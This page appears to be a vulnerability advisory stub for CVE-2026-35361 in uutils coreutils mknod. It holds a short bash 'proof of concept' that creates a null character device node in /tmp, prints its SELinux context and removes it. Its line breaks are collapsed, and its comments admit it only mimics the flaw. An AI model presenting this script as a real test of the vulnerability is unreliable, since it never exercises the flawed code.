CVE-2026-35361 uutils coreutils mknod安全标签处理漏洞

#!/bin/bash # PoC for CVE-2026-35361: uutils coreutils mknod cleanup failure # This script demonstrates the scenario where a device node is created # but fails to set the correct SELinux context, leaving a vulnerable node. DEVICE_NAME="vuln_device" DEVICE_PATH="/tmp/$DEVICE_NAME" echo "[+] Attempting to create device node to trigger atomicity failure..." # Simulate the vulnerable behavior: Create node then fail context setting # In a real vulnerable version, 'mknod' might fail internally but leave the file # Here we mimic the result: a node exists with default context # Check if running as root (required for mknod) if [ "$EUID" -ne 0 ]; then echo "[-] Please run as root to execute mknod" exit 1 fi # Create a dummy character device (Major 1, Minor 3 - null device usually) # Using standard mknod to demonstrate the artifact left behind mknod $DEVICE_PATH c 1 3 if [ -e $DEVICE_PATH ]; then echo "[+] Device node created at $DEVICE_PATH" echo "[+] Checking SELinux context:" ls -Z $DEVICE_PATH echo "[!] If the context is 'device_t' or default instead of a specific restricted context, the system might be vulnerable." # Cleanup for PoC rm -f $DEVICE_PATH else echo "[-] Failed to create device node" fi